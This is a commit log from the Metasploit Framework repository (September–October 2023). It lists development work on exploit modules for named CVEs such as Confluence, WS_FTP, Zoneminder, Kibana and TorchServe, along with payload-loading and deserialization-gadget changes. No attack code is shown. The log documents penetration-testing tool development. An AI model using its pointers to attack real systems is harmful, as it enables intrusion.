Heyder Andrade 1ac0e2dc66 Update splunk_privilege_escalation_cve_2023_32707.md 2023-10-23 11:31:19 +02:00
Aleksa Zatezalo 67b0168669 Delete documentation/modules/auxiliary/scanner/nessus/nessus_ntp_login.md 2023-10-22 22:57:55 -04:00
h00die-gr3y c62f9a1c45 added D-Link GO-RT-AC750 target and lowered linemax to 900 bytes 2023-10-22 17:49:21 +00:00
aleksa eb43039a18 Files removed 2023-10-21 19:53:47 -04:00
aleksa 99c2bb2eca Changed to markdown 2023-10-21 19:50:39 -04:00
aleksa 8e56a9761f Nessus documentation created. 2023-10-21 19:49:10 -04:00
h00die-gr3y 93d38f2d53 added additional CVE reference 2023-10-20 13:58:32 +00:00
Metasploit a3c5ca6cc1 automatic module_metadata_base.json update 2023-10-19 16:59:52 -05:00
Spencer McIntyre 15aaa90379 Land #18447, CVE-2023-22515 Confluence Auth Bypass
CVE-2023-22515 - Atlassian Confluence Data Center and Server Authentication Bypass
2023-10-19 17:35:17 -04:00
Aleksa Zatezalo 83e5b7a103 Update documentation/modules/auxiliary/scanner/http/appletv_login.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-10-19 17:22:18 -04:00
Aleksa Zatezalo 8192d204b7 Update documentation/modules/auxiliary/scanner/http/appletv_login.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-10-19 17:22:08 -04:00
Aleksa Zatezalo ea4bc95e7b Update documentation/modules/auxiliary/scanner/http/appletv_login.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-10-19 17:22:02 -04:00
Aleksa Zatezalo d2a3e2f5f2 Update documentation/modules/auxiliary/scanner/http/appletv_login.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-10-19 17:21:55 -04:00
Aleksa Zatezalo 24c5d8197d Update documentation/modules/auxiliary/scanner/http/axis_login.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-10-19 17:21:49 -04:00
Aleksa Zatezalo 95a9a0b2ee Update documentation/modules/auxiliary/scanner/http/appletv_login.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-10-19 17:21:00 -04:00
Spencer McIntyre ee0e5b9eda Tidy the docs, fix the username
The username can not contain capital letters, or the operation will
fail.
2023-10-19 17:19:55 -04:00
Emir Polat c79cc5a36b Final Checks 2023-10-19 17:19:55 -04:00
Emir Polat b3a9579e8a Update modules/auxiliary/admin/http/atlassian_confluence_auth_bypass.rb
Implement changes proposed by Spencer McIntyre (smcintyre-r7)
2023-10-19 17:19:30 -04:00
emirpolatt 258ac6421b Fix fail_with response code compare and documentation fixes 2023-10-19 17:19:30 -04:00
emirpolatt 7c977e07ef Remove of the X-Atlassian-Token header from server-info.action 2023-10-19 17:19:30 -04:00
emirpolatt 236a301f27 Check method fixes
get_confluence_version inside to check method. Also new status messages
2023-10-19 17:19:08 -04:00
h00die-gr3y 13e3d037c9 fifth release module 2023-10-19 17:42:53 +00:00
h00die-gr3y 3024824cc9 fourth release module 2023-10-19 17:31:48 +00:00
Metasploit 30e1930444 Bump version of framework to 6.3.40 2023-10-19 12:08:32 -05:00
dwelch-r7 7baabd08db Land #18364, Add support for filtering sessions 2023-10-19 16:40:42 +01:00
Zach Goldman b4b73529d3 add -e flag for stale sessions
remove single flag

pivot to search flag

added support for search session type

adds search session id support

remove stale references

reshuffle code

fix time parsing, add command support

fix search list, reduce duplicated code

testing added

killall with search lists table of killed sessions

sessions are no longer represented by ids

addresses feedback on code structure and search behavior

some test reshuffling, switch raised errors to printed ones

add checkin validation, rest of cmd_sessions tests

add time parsing test

refactoring

test reformatting and adjusted error validation

make error handling more explicit, add test context

fixes

sub quotes, make constant

rubocopping

switch before and after to greater than and less than

mbetter incorporate constants

update example
2023-10-19 09:41:18 -05:00
Metasploit dba2ac88f0 automatic module_metadata_base.json update 2023-10-19 03:44:02 -05:00
Christophe De La Fuente da9d04d32d Land #18461, CVE-2023-22515 - Atlassian Confluence unauthenticated RCE 2023-10-19 10:22:57 +02:00
h00die-gr3y 8ea82693a9 third release module + documentation 2023-10-18 19:55:13 +00:00
Patryk Krawaczyński ce10038546 Replace grep with getent in entrypoint.sh
Use native "getent" command to get entries from NSS insead of "grep".
2023-10-18 15:38:21 +02:00
sfewer-r7 c63aaba760 add in documentation for Options 2023-10-18 10:05:05 +01:00
sfewer-r7 5e84f57ab3 set :random to true during generate_jar so we can randomize teh metasploit class path 2023-10-18 09:53:46 +01:00
sfewer-r7 fcffd36af0 no need to test for true, jsut return the value as we are waiting for done to be set to true 2023-10-18 09:37:04 +01:00
sfewer-r7 9fdbccb74f catch a JSON ParserError exception and fail_with() if needed. Also detect if the JSON data doesnt have the expected value and fail_with() if needed 2023-10-18 09:36:02 +01:00
h00die-gr3y 3d405cda0a second release module 2023-10-17 19:09:03 +00:00
h00die 00b534dbed review 2023-10-17 13:17:10 -04:00
h00die-gr3y 7e29519c9c initial release module 2023-10-17 16:59:45 +00:00
Christophe De La Fuente 0b7a1bfcf7 Use #dup instead of #clone #2 2023-10-17 12:39:23 +02:00
sfewer-r7 34107e4f3b favod over for string concatenation. 2023-10-17 11:36:07 +01:00
Christophe De La Fuente 5f438f729d Use #dup instead of #clone 2023-10-17 12:19:03 +02:00
sfewer-r7 0fc35bf6d3 randomize the plugins version number 2023-10-17 10:01:02 +01:00
sfewer-r7 415bd49b15 use next semantics to return from a yielded block early (note we cannot use return for this) 2023-10-17 09:43:00 +01:00
sfewer-r7 54f334479a fix another typo 2023-10-17 09:30:52 +01:00
sfewer-r7 9e6e9538e1 typo 2023-10-17 09:29:38 +01:00
sfewer-r7 d2438bad4e add a note to explain we need to concat a trailing forward slash 2023-10-17 09:28:04 +01:00
sfewer-r7 4acdaf3087 typos 2023-10-17 09:22:09 +01:00
sfewer-r7 d17f065f12 remove 'localhost' in favor of some random chars 2023-10-17 09:21:28 +01:00
sfewer-r7 3242a7009b clarify timeout is in seconds 2023-10-17 09:11:05 +01:00
sfewer-r7 b97cb9f63d remove whitespace 2023-10-17 09:10:28 +01:00
Corey 60b72fb4be remove vmicheartbeat from hyperv_services 2023-10-16 17:27:37 -04:00
gardnerapp 9ee838d08e Update modules/post/windows/gather/checkvm.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-10-16 17:21:32 -04:00
sfewer-r7 1c027ac05c add an RCE exploit for CVE-2023-22515 2023-10-16 20:50:18 +01:00
h00die b94d278003 vmware aria ssh keys exploit 2023-10-16 14:47:04 -04:00
h00die ba82b59ec2 vmware aria ssh keys exploit 2023-10-16 13:43:15 -04:00
h00die f394b4a8ed vmware aria ssh keys exploit 2023-10-16 13:42:58 -04:00
h00die 263eaf7d95 vmware aria ssh keys exploit 2023-10-16 13:42:27 -04:00
h00die b3b1595ef4 vmware aria ssh keys exploit 2023-10-16 13:06:17 -04:00
aleksa 1a86610b57 New documentation peice added. 2023-10-14 00:05:20 -04:00
aleksa b21c976634 Merge branch 'aux-docs' of https://github.com/AleksaZatezalo/metasploit-framework into aux-docs 2023-10-14 00:03:58 -04:00
aleksa a2c082fd6d axis_login change added. 2023-10-14 00:03:12 -04:00
Aleksa Zatezalo c237533908 Update appletv_login.md
Removed incorrect in verification steps (username) and removed unnecessary nondescript text in the scenario section.
2023-10-13 23:56:33 -04:00
Aleksa Zatezalo 4bb816652d Update appletv_login.md 2023-10-13 23:54:30 -04:00
aleksa d66ee996ef Appletv Login Documentation Added. 2023-10-13 22:32:26 -04:00
elliot 58176b6627 Update lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
formatting

Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-10-13 12:16:20 -05:00
elliot 102662d61a Update lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
formatting

Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-10-13 12:16:04 -05:00
elliot 423262c979 Update lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
formatting

Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-10-13 12:15:54 -05:00
elliot 187ff951c3 Update lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
formatting

Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-10-13 12:15:39 -05:00
adfoster-r7 ec5648f6c5 Land #18452, Update Writing Module Docs to reference msftidy_docs.rb 2023-10-13 17:55:16 +01:00
jheysel-r7 4ff3c0f102 Update docs/metasploit-framework.wiki/Writing-Module-Documentation.md 2023-10-13 11:58:01 -04:00
Jack Heysel 2464c43151 Update Writing Module Docs to reference msftidy_docs.rb 2023-10-13 11:26:19 -04:00
Jack Heysel 718cdd9a6b Land #18428, Add mssql_login docs
This PR adds a documentation file for the mssql_login scanner.
2023-10-13 10:56:58 -04:00
sjanusz-r7 daa8b8ae99 Use Metasploit-Payloads Crypto to decrypt payloads 2023-10-13 14:42:10 +01:00
sjanusz-r7 b428736e03 Add support for injection of encrypted dll payloads 2023-10-13 14:42:10 +01:00
sjanusz-r7 1140efc8b4 Support adding encrypted files to archives & jars 2023-10-13 14:42:10 +01:00
sjanusz-r7 7baf199f50 Add support for loading of encrypted libraries 2023-10-13 14:42:10 +01:00
cgranleese-r7 d2607c7a77 Land #18451, Update creds cracked password to work with remote database 2023-10-13 13:15:59 +01:00
Metasploit 5d6b63c8ef automatic module_metadata_base.json update 2023-10-13 06:51:04 -05:00
adfoster-r7 941c44f9ad Update creds cracked password to work with remote database 2023-10-13 12:30:27 +01:00
adfoster-r7 bb19151891 Land #17689, adding a new column cracked password in creds command to show cracked passwords 2023-10-13 12:25:51 +01:00
cgranleese-r7 44e5a93add Land #18442, Improve stability of msfdb initialization on windows environments 2023-10-13 12:21:02 +01:00
cgranleese-r7 e1a307e03a Land #18450, Add support for ruby 3.3.0-preview2 2023-10-13 11:55:43 +01:00
cgranleese-r7 9def455f65 Land #18449, Update mysql authbypass hashdump module to correctly close sockets 2023-10-13 11:43:59 +01:00
cgranleese-r7 a1b3c8dc5f Land #18438, Improve UX for database management prompts 2023-10-13 11:16:37 +01:00
adfoster-r7 5f6b8dc7ef Land #18381, Add option to reload all libs when calling run or check on a module 2023-10-13 11:06:10 +01:00
cgranleese-r7 03433652e8 Land #18443, Fix reverse ssh handler warnings on windows bootup 2023-10-13 10:24:31 +01:00
emirpolatt 0cb56c1de5 Some fixes 2023-10-13 02:16:17 -07:00
emirpolatt e48ead5e8c Fingerprint reduction with Rex::Text.rand_text_alpha(8) 2023-10-13 02:11:57 -07:00
emirpolatt 84f5c7321e Reducing fingerprinting via Rex::Text.rand_text_alpha(8) 2023-10-13 02:02:13 -07:00
emirpolatt 9219a3e90a Adding AttackerKB analysis URL 2023-10-13 01:56:14 -07:00
Wolfgang Hotwagner 469d33f31c Added some CMDStagerFlavors 2023-10-13 08:49:18 +00:00
adfoster-r7 b81252e34f Add support for ruby 3.3.0-preview2 2023-10-13 01:41:10 +01:00
Ashley Donaldson 776c0644e0 Corresponding change from RubySMB code review 2023-10-13 11:11:22 +11:00
Metasploit 2163c51a2e automatic module_metadata_base.json update 2023-10-12 16:34:40 -05:00
Spencer McIntyre 05dd2e1473 Land #18351, Apache Superset RCE (CVE-2023-37941) 2023-10-12 17:10:10 -04:00
jheysel-r7 82a1dfa9ff Added new line at EOF 2023-10-12 16:17:20 -04:00
jheysel-r7 820f806a5e Apply suggestions from code review 2023-10-12 15:56:08 -04:00
jheysel-r7 77694db215 Apply suggestions from code review 2023-10-12 15:53:48 -04:00
jheysel-r7 6c035dada0 Apply suggestions from msftidy_docs 2023-10-12 15:53:26 -04:00
Hynek Petrak b2f847706f Update vmware_vcenter_vmdir_auth_bypass.rb
Few more instances corrected
2023-10-12 19:08:51 +02:00
Metasploit fb77febe3e Bump version of framework to 6.3.39 2023-10-12 12:08:36 -05:00
Jack Heysel d31a485d63 Land #18383, improves enum_computers module
This PR adds a variety of improvements to the
enum_computers module including shell and powershell
support as well as improvements to run on non-english
systems.
2023-10-12 13:01:54 -04:00
Metasploit 2fca548b31 automatic module_metadata_base.json update 2023-10-12 11:42:37 -05:00
adfoster-r7 075fe09c2f Fix mysql authbypass running out of sockets 2023-10-12 17:40:33 +01:00
adfoster-r7 80d2fa738d Land #18296, update more mysql modules to support newer authentication methods 2023-10-12 17:19:02 +01:00
Metasploit 01ce90ae8a automatic module_metadata_base.json update 2023-10-12 11:04:40 -05:00
Jack Heysel 1719d55c63 Land #18427, Add TorchServer SSRF + RCE module
This PR adds a module that exploits a series of vulns
which leads to RCE on affected TorchServers tagrets. It
also includes updates the the class_loader library.
2023-10-12 11:29:20 -04:00
Wolfgang Hotwagner 2dae0a2398 moved token-check outside of get_csrf_magic 2023-10-12 15:09:10 +00:00
Hynek Petrak 060dc84c18 corrected options confict between module and ldap mixin 2023-10-12 16:52:57 +02:00
Wolfgang Hotwagner 2c757bc85b Refactoring 2023-10-12 14:37:58 +00:00
Spencer McIntyre 86b7ec4518 Address comments from the review 2023-10-12 09:50:19 -04:00
Spencer McIntyre de8e392b7b Only randomize the URI once 2023-10-12 09:50:19 -04:00
Spencer McIntyre 5577413bd9 Add additional classes for payload loading
This fixes the java/shell_reverse_tcp payload
2023-10-12 09:27:26 -04:00
Spencer McIntyre 4f734379d3 Add module docs and print some messages 2023-10-12 09:27:26 -04:00
Spencer McIntyre 0799f9d860 Add a check method and populate module metadata 2023-10-12 09:27:26 -04:00
Spencer McIntyre f712c67441 Support URIPATH in Java::HTTP::ClassLoader
The URIPATH must end with / due to how the package names are requested
from the web server in a nested directory structure. #on_request_uri
also needed to be updated to check for the relative resource.
2023-10-12 09:27:26 -04:00
Spencer McIntyre 7a226ba285 Randomize components in the MAR file 2023-10-12 09:27:26 -04:00
Spencer McIntyre 5a6dc7f9a6 Initial commit of CVE-2023-43654 2023-10-12 09:27:26 -04:00
Wolfgang Hotwagner 58f9a39f72 replaced custom timer with rex::stopwatch
updated documentation
2023-10-12 11:46:56 +00:00
Wolfgang Hotwagner e0dd5117aa added platform=linux and changed the payload to a fetch-payload 2023-10-12 11:12:32 +00:00
Rory McKinley 1b172768b4 Use upstream ruby-mysql in Remote::MYSQL
* ... and dependents
2023-10-12 13:08:35 +02:00
cgranleese-r7 3da17d2775 Addresses PR feedback 2023-10-12 10:59:29 +01:00
h00die 862a7930dc Merge pull request #25 from smcintyre-r7/pr/collab/18351
Pr/collab/18351
2023-10-11 15:30:28 -04:00
Jack Heysel 7f4a9c47fc Land #18355, Fixes OpenJDK reflection issue.
This PR updates metasploit-framework side for the
metasploit-payloads fix #672. This PR also includes
metasploit-framework PR #18445 which bumps the
metasploit-payloads gem version to 2.0.156.
2023-10-11 15:26:09 -04:00
emirpolatt 2b05dab554 Fix: Msftidy Warnings 2023-10-11 12:19:40 -07:00
emirpolatt b8dcafc0f6 Revert "CVE-2023-27253 - PfSense 2.6.0 'Backup & Restore' OS Command Injection Module"
This reverts commit c65685deae.
2023-10-11 12:15:22 -07:00
emirpolatt 9ef1d1746a CVE-2023-22515 - Atlassian Confluence Data Center and Server Broken Access Control Leads to Authentication Bypass 2023-10-11 12:09:22 -07:00
Ashley Donaldson 874366588c Update metasploit side for java metasploit-payloads fix 2023-10-11 15:00:19 -04:00
Spencer McIntyre 7f7f106b92 Update metasploit-payloads gem to 2.0.156
Includes changes from:
* rapid7/metasploit-payloads#672
* rapid7/metasploit-payloads#678
2023-10-11 14:05:45 -04:00
adfoster-r7 6c33bf95f1 Land #18411, Fix incorrect scope condition when populating RHOSTS using services command 2023-10-11 13:29:31 +01:00
adfoster-r7 0e62f3c5cd Land #18444, spelling fixes on docs 2023-10-11 13:24:53 +01:00
h00die 7ffc1ca491 undo some spelling fixes when upstream has those issues 2023-10-11 06:30:11 -04:00
bwatters 6af8d3f6e6 Land #18431, Fix how port forwards are listed
Merge branch 'land-18431' into upstream-master
2023-10-10 16:56:11 -05:00
Spencer McIntyre 45be501a50 Raise a more specific error message
Check for and raise a more specific error message when the internal
database fails to mount because the path is incorrect.
2023-10-10 15:21:35 -04:00
h00die 557a15a115 spelling fixes on docs 2023-10-10 14:46:18 -04:00
Spencer McIntyre 47b0c01d58 Make the add_equals_to_base64 function private 2023-10-10 14:16:56 -04:00
Spencer McIntyre 59da2865d9 Use an exec-in-place gadget for Python
This adds a Python deserialization gadget that will exec arbitrary
Python code in place. It is only compatible with Python 3.x due to
differences in Python's exec function and statement between 2 and 3.
2023-10-10 14:01:24 -04:00
elliot ccb3927254 Update lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
Sets the path variable via a loop so that it fixes the path assignment and lets the user give a series of directories

Co-authored-by: Brendan <bwatters@rapid7.com>
2023-10-10 12:23:31 -05:00
adfoster-r7 0c407945a0 Fix reverse ssh handler warnings on windows bootup 2023-10-10 15:26:24 +01:00
adfoster-r7 723557365a Improve stability of msfdb initialization on windows environments 2023-10-10 15:25:10 +01:00
adfoster-r7 d427d64f6e Land #18435, wiki spelling fixes 2023-10-10 10:48:44 +01:00
Corey 5ffac9af0c pull changes 2023-10-09 15:29:14 -04:00
Corey 0863645fdb remove false positive 2023-10-09 15:27:12 -04:00
gardnerapp b0929fe445 Update modules/post/windows/gather/checkvm.rb
Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-10-09 15:24:26 -04:00
gardnerapp 93d5736f72 Update modules/post/windows/gather/checkvm.rb
correct spelling

Co-authored-by: jheysel-r7 <Jack_Heysel@rapid7.com>
2023-10-09 15:23:19 -04:00
Corey 9f795574cd Change spelling error 2023-10-09 15:18:38 -04:00
Corey dabf0b54e3 Add @processes and @services to run 2023-10-09 15:16:30 -04:00
adfoster-r7 0875cc8f73 Improve UX for databse management prompts 2023-10-09 11:04:34 +01:00
Ashley Donaldson 1071341b23 Changes from code review 2023-10-09 10:31:36 +11:00
Nishant Desai 70c69f46a5 Merge pull request #9 from JustAnda7/GSoC/creating-rex-lib-for-auth
Shifting appropriate methods to Auth lib
2023-10-08 12:58:52 +05:30
JustAnda7 7876912eab Changes-as-per-comments 2023-10-08 02:49:46 -04:00
h00die 76f5582a1a artica not artical or article 2023-10-06 19:55:40 -04:00
h00die 15413416a7 wiki spelling fixes 2023-10-06 19:51:39 -04:00
Wolfgang Hotwagner f0862d4d76 Refactoring 2023-10-06 23:02:17 +00:00
Metasploit b32fe19545 automatic module_metadata_base.json update 2023-10-06 16:55:04 -05:00
Jack Heysel fb834b235a Land #18417, Add Kibana Upgrade Assistant RCE
Kibana before version 7.6.3 suffers from a prototype
pollution bug within the Upgrade Assistant. This PR adds
an exploit module to exploit the bug. There is no CVE
for this issue at the moment.
2023-10-06 17:29:02 -04:00
jheysel-r7 fe9afc94c7 Update documentation/modules/exploit/linux/http/kibana_upgrade_assistant_telemetry_rce.md 2023-10-06 16:45:52 -04:00
Wolfgang Hotwagner 2d065d59cf Documentation for exploit module for CVE-2023-26035 2023-10-06 17:43:44 +00:00
adfoster-r7 f7635b18e2 Land #18433, Remove reline dependency update 2023-10-06 18:13:59 +01:00
adfoster-r7 5e7097197d Remove reline dependency update 2023-10-06 17:56:06 +01:00
Wolfgang Hotwagner 2f23d53e90 Exploit module for CVE-2023-26035
This commit adds a exploit module for an unauthenticated remote
code execution vulnerability in Zoneminder.
This exploit allows to choose between dropper and in-memory
payloads and works reliable.
2023-10-06 16:47:30 +00:00
adfoster-r7 93fb0dd3b3 Land #18171, Enable using modules when deferred loading is turned on 2023-10-06 17:41:18 +01:00
dwelch-r7 022dca4b10 Land #18432, Update gem dependencies 2023-10-06 16:36:16 +01:00
Dean Welch ef871685af Revert accidental changes 2023-10-06 16:04:38 +01:00
Dean Welch 9eb4385a25 Get stats from the cache instead of from frameworks list of loaded modules 2023-10-06 16:04:38 +01:00
Dean Welch d60993f7e8 Enable using modules when deferred loading is turned on 2023-10-06 16:04:34 +01:00
adfoster-r7 d11f15b9af Update gem dependencies 2023-10-06 15:49:06 +01:00
h00die 931a67d290 kibana telemetry rce rewritten to use fetch payloads 2023-10-06 09:55:10 -04:00
dwelch-r7 9372d9c063 Land #18430, Add pin to rails 7.0.x 2023-10-06 14:49:42 +01:00
adfoster-r7 88c849de74 Add pin to rails 7.0.x 2023-10-06 14:08:57 +01:00
Spencer McIntyre d46e80f17f Fix how port forwards are listed
Fixes #18291
2023-10-06 09:04:28 -04:00
h00die a2a9becc73 convert cmd_stager to fetch payloads 2023-10-06 07:40:17 -04:00
adfoster-r7 f3c105916a Land #18256, general dependency update 2023-10-06 10:27:57 +01:00
aleksa 1bd7d25088 mssql_login documentation added. 2023-10-05 17:06:11 -04:00
bwatters a1304fe1a8 Land #18394, Add documentation for auxiliary/scanner/http/http_traversal module
Merge branch 'land-18394' into upstream-master
2023-10-05 15:18:20 -05:00
h00die 5e0538a239 review comments round 1 2023-10-05 13:12:33 -04:00
Metasploit ec33707381 Bump version of framework to 6.3.38 2023-10-05 12:08:28 -05:00
Simon Janusz faa3dd6b85 Land #18372, Fix error downloading a file from generic shell 2023-10-05 17:47:27 +01:00
cgranleese-r7 dff907b6ca Land #18425, Add history support to nasm and metasm shells 2023-10-05 17:20:31 +01:00
adfoster-r7 1f6009333e Add history support to nasm and metasm shells 2023-10-04 22:36:19 +01:00
bwatters 1ee7f03a2b Land #18420, Update user agent strings
Merge branch 'land-18420' into upstream-master
2023-10-04 14:13:04 -05:00
bwatters 4d369a8e52 Land #18424, Fix documentation for CVE-2023-40044 exploit module.
Merge branch 'land-18424' into upstream-master
2023-10-04 13:58:20 -05:00
bwatters 6cea8f750f Land #18277, Add new doc for writing a command injection exploit module
Merge branch 'land-18277' into upstream-master
2023-10-04 13:54:59 -05:00
bwatters a16379b2a7 Land #17919, Post::Windows::Service: Support start/stop service on shell sessions
Merge branch 'land-17919' into upstream-master
2023-10-04 13:51:25 -05:00
Jack Heysel 81e4f94869 Land #18412, Add a couple tips to metasploit 2023-10-04 13:45:33 -04:00
sfewer-r7 623b589fb5 When I removed the PowerShell target I forgot to update the documentation, this commit updates the documentation to reflect the changes made to the exploit module. 2023-10-04 17:03:28 +01:00
Metasploit 75225d0757 automatic module_metadata_base.json update 2023-10-04 09:37:46 -05:00
Spencer McIntyre 9eb0c336ab Land #18414, Exploit module for CVE-2023-40044
Exploit module for CVE-2023-40044 (WS_FTP unauthenticated RCE)
2023-10-04 10:21:54 -04:00
sjanusz-r7 126c19890a Add option to reload all libs when running a module 2023-10-04 14:59:36 +01:00
Adam Robinson 329b4649e4 Approving cortex.yaml
PD-41096 Auto-add cortex.yaml
2023-10-04 12:44:40 +01:00
sfewer-r7 8431d11654 leverage Rex::MIME::Message instead of creating the multipart data manualy 2023-10-04 09:39:25 +01:00
sfewer-r7 ccd8c71ec6 change the payload space to 5000. This allows all the payloads I tested to work but also allows all the 3 gadget chains I tested to work. ClaimsPrincipal and TypeConfuseDelegate will fail if the space is too large. 2023-10-04 09:38:42 +01:00
bwatters 6aeffa5a17 Land #18363, Add support to msfvenom for "-f octal
Merge branch 'land-18363' into upstream-master
2023-10-03 16:21:57 -05:00
sfewer-r7 1be8e0245b remove the powershell target as the powershell command adapter will handle this for us (thanks Spencer). Increate the space to handle the larger powershell command lines. I tested with cmd/windows/powershell/x64/meterpreter/reverse_tcp and the powershell command length was 4404. 2023-10-03 17:48:37 +01:00
Metasploit 5dd2408b5c automatic module_metadata_base.json update 2023-10-03 06:45:57 -05:00
adfoster-r7 14c42fcefc Land #18405, Show errors on inaccessible payload files 2023-10-03 12:22:04 +01:00
sfewer-r7 2eacb75feb Add a reference to the AssetNote blog. Better describe what teh TARGET_URI option is for and why it defaults to /AHT/ 2023-10-03 11:17:21 +01:00
cgranleese-r7 92867ceed8 Land #18347, Update check method docs 2023-10-03 10:09:29 +01:00
cgranleese-r7 87d108aab5 Removes Meterpreter logic 2023-10-03 09:53:02 +01:00
Ashley Donaldson 4d87d4e114 Save Kerberos tickets in the MSF cache upon a successful login 2023-10-03 13:45:41 +11:00
Ashley Donaldson 2deb3a831a Update user agent strings 2023-10-03 11:47:23 +11:00
Ashley Donaldson 185cba04c3 Support validating partial handshakes 2023-10-03 10:19:26 +11:00
h00die 88eb44be64 kibana telemetry rce 2023-10-02 16:53:20 -04:00
Spencer McIntyre 3baf867c76 Update lib/msf/ui/tip.rb
Co-authored-by: Brendan <bwatters@rapid7.com>
2023-10-02 16:38:26 -04:00
bwatters 42f6bb8212 Update on feedback from jmartin 2023-10-02 14:29:20 -05:00
JustAnda7 ea189d6c34 Changes-to-the-helper-lib 2023-10-02 13:35:28 -04:00
Jack Heysel 50e4269c05 Land #18338, Get crackable ASREP hashes
This PR fixes the ASREP roasting workflow and resolves
issue #17988.
2023-10-02 13:26:43 -04:00
sfewer-r7 1695a12c9c Explicitly state both the release name (e.g. 2022.0.2) and the version number (e.g. 8.8.2) in a more consistent way. 2023-10-02 17:40:11 +01:00
Metasploit b078e8e08f automatic module_metadata_base.json update 2023-10-02 10:18:33 -05:00
Jack Heysel 5087e0ffe3 Land #18197, Ldap login scanner module
Adds a new login scanner module for LDAP
2023-10-02 10:56:56 -04:00
sjanusz-r7 e70f356239 Show errors on inaccessible payload files 2023-10-02 14:46:25 +01:00
Simon Irwin 6cefa8f3d2 PD-41096 Auto-add cortex.yaml 2023-10-02 14:13:52 +01:00
Dean Welch 76a25c6937 Don't store creds for successful schannel ldap auth 2023-10-02 13:42:25 +01:00
adfoster-r7 c728671953 Land #18393, Update using metasploit docs 2023-10-02 13:37:54 +01:00
sfewer-r7 53ed4a632b add in exploit module for CVE-2023-40044 - WS_FTP unauthenticated RCE via .NET deserialization. 2023-10-02 11:42:19 +01:00
Metasploit 276b0ca53e automatic module_metadata_base.json update 2023-09-29 11:38:38 -05:00
Christophe De La Fuente 50155e3d94 Land #18389, Juniper Junos OS PHPRC Manipulation RCE (CVE-2023-36845) 2023-09-29 18:05:28 +02:00
Spencer McIntyre 5aee82e35a Add a couple of tips 2023-09-29 11:47:27 -04:00
Jack Heysel 37bc4ca51f Fixed root password resetting 2023-09-29 11:40:03 -04:00
Erik Geiser 49786101f7 Fix incorrect scope condition 2023-09-29 13:51:14 +02:00
Jack Heysel 2928d47312 Merge branch 'junos_phprc_auto_prepend_file' of github.com:jheysel-r7/metasploit-framework into junos_phprc_auto_prepend_file 2023-09-28 14:43:46 -04:00
Jack Heysel 58642c16c9 Changed WebSocket to SSH 2023-09-28 14:41:03 -04:00
jheysel-r7 4fecb4d2e2 Update documentation/modules/exploit/freebsd/http/junos_phprc_auto_prepend_file.md
Co-authored-by: Christophe De La Fuente <56716719+cdelafuente-r7@users.noreply.github.com>
2023-09-28 14:37:36 -04:00
Metasploit 8de942d9d9 Bump version of framework to 6.3.37 2023-09-28 13:32:45 -05:00
Jack Heysel 3f15de3995 Responded to Christophes suggestions 2023-09-28 14:26:37 -04:00
Ashley Donaldson 587c327944 Correctly align sec trailer and stub along a 16-byte boundary 2023-09-28 17:25:22 +10:00
Ashley Donaldson 1bd229056e Support Kerberos auth for DCERPC 2023-09-28 16:26:06 +10:00
Jeffrey Martin 5310d00d85 more general updates for security hygiene
* updates to sshkey adds support for ECDSA
* skips irb update due to added dependencies on psych that has added native build requirements
2023-09-27 15:45:49 -05:00
Jeffrey Martin ef27b6124f general dependency update
* general maintenance update for all gems
* used for security review of current updates
2023-09-27 15:34:03 -05:00
errorxyz 2cf8b3808c Fix lotus_domino_hashes to use #service_details from HttpClient mixin 2023-09-27 21:16:24 +05:30
errorxyz 5060bb13a8 Fix docs format in modules/auxiliary/scanner/http/http_traversal 2023-09-27 20:47:31 +05:30
Nishant Desai 1a3b00e593 shifting-appropriate-methods-to-auth-lib 2023-09-27 12:23:29 +00:00
Jack Heysel 3eaa4adcb7 rubocop 2023-09-26 18:48:33 -04:00
Jack Heysel 9a1881cbcf jvoisin suggestions 2023-09-26 18:42:14 -04:00
Jack Heysel 09f3a98d13 Finished JAIL_BREAK addition 2023-09-26 16:45:28 -04:00
Christophe De La Fuente 2232877d03 Properly clone the path strings before storing them 2023-09-26 13:26:02 +02:00
Jack Heysel b4539f174d Added JAIL_BREAK option and corresponding methods 2023-09-25 19:03:54 -04:00
Dean Welch c1abf37d0c Use passed in workspace if available, default to current workspace 2023-09-25 13:30:18 +01:00
errorxyz f5d5541e73 Update deprecated report_auth_info method call in various modules in data/exploits/psnuffle/ 2023-09-25 02:51:08 +05:30
errorxyz 9f10f9402c Update deprecated report_auth_info method call in data/exploits/psnuffle/smb.rb module 2023-09-25 02:06:48 +05:30
errorxyz 35609d07e9 Fix lotus_domino_hashes_spec to comply with report_cred method 2023-09-25 01:19:43 +05:30
errorxyz b4dee448bc Update deprecated report_auth_info method call in lotus_domino_hashes 2023-09-24 22:32:52 +05:30
errorxyz 7cd447b5d0 Update deprecated report_auth_info method call in modicon_password_recovery 2023-09-24 22:22:36 +05:30
errorxyz 203470302a Remove deprecated report_auth_info method call from vbulletic_vote_sqli_exec module 2023-09-24 22:20:35 +05:30
elliot 6b00d87c49 Update lib/rex/post/meterpreter/ui/console/command_dispatcher/stdapi/fs.rb
Co-authored-by: dwelch-r7 <Dean_Welch@rapid7.com>
2023-09-23 08:55:26 +10:00
eu b1de44d892 Fix code styling 2023-09-22 16:51:49 +02:00
eu 4044835a64 Improve the cleanup method
- The cleanup methos is deleting the job and removing the app directory
- Added a change dir command as an AutoRunScript just to avoid the error when trying to access the current directory in the session
2023-09-22 15:45:40 +02:00
eu 47d8e4de04 Remove ReturnOutput option
TODO: distinguish commands that return output and commands that don't
